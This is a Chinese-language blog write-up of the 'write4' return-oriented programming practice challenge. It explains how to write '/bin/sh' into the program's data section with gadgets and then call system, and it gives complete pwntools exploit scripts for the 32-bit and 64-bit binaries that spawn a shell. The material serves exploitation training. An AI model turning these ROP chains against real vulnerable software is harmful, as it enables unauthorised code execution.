4_write4

作者: Zero_0_0 | 来源:发表于2019-04-15 20:38 被阅读0次

    1.观察有没有system没有/bin/sh ,我们可以尝试想bss或者date段写入/bin/sh.,使用plt表的system
    2.mov [edi], ebp-MOV 内存单元 寄存器
    寄存器ESIEDISIDI称为变址寄存器(Index Register),它们主要用于存放存储单元在段内的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。

    思考:为什么有一个system函数,不讲/bin/sh传入data段里面,然后调用这个函数完成调用?
    32
    # -*- coding:UTF-8 -*-
    from pwn import*
    ##context.log_level = 'debug'
    p  = process("./write432")
    ##p = remote("","")
    
    date_addr = 0x804A028
    system_elf_addr = 0x8048430
    move_edi_ebp_addr = 0x8048670
    pop_edi_ebp_addr = 0x80486da
    
    payload = 'A'*0x2c
    payload += p32(pop_edi_ebp_addr) + p32(date_addr) + "/bin" + p32(move_edi_ebp_addr)
    payload += p32(pop_edi_ebp_addr) + p32(date_addr+4) + "/sh\x00" + p32(move_edi_ebp_addr)
    payload += p32(system_elf_addr) + p32(0) + p32(date_addr)
    
    p.sendline(payload)
    p.interactive()
    
    
    
    
    首先我们是发现了 溢出的漏洞  我们没有可以利用sysytem入口  也没有/bin/sh的字符串。  
     只有system_plt的地址  我们需要传入/bin/sh让我们利用,  
     将利用godget片段 传入edi>然后跳转到edi利用,
    我们需要一个介质来装载/bin/sh  就是我们的date_addr
    
    #p32(0)  是用来覆盖rbp的地址  (自己有疑惑)
    
    

    这道题填入和调用没什么大问题,最关键的要记住,64位的数据不是直接传入栈里面的,我们需要一个pop来将我们的system和/bin/sh的地址接收。

    64
    
    from pwn import*
    ##context.log_level = 'debug'
    p  = process("./write4")
    ##p = remote("","")
    date_addr = 0x601050
    system_plt_addr = 0x4005e0
    pop_r14_r15_addr = 0x400890
    mov_r14_r15_addr = 0x400820
    pop_edi_addr = 0x400893
    
    payload = 'A' * 0x20 + p64(0)
    payload += p64(pop_r14_r15_addr)
    payload += p64(date_addr)
    payload += "/bin/sh"
    payload += p64(mov_r14_r15_addr)
    payload += p64(pop_edi_addr)
    payload += p64(date_addr)
    payload += p64(system_plt_addr)
    
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:4_write4

          本文链接:https://www.haomeiwen.com/subject/xvnpwqtx.html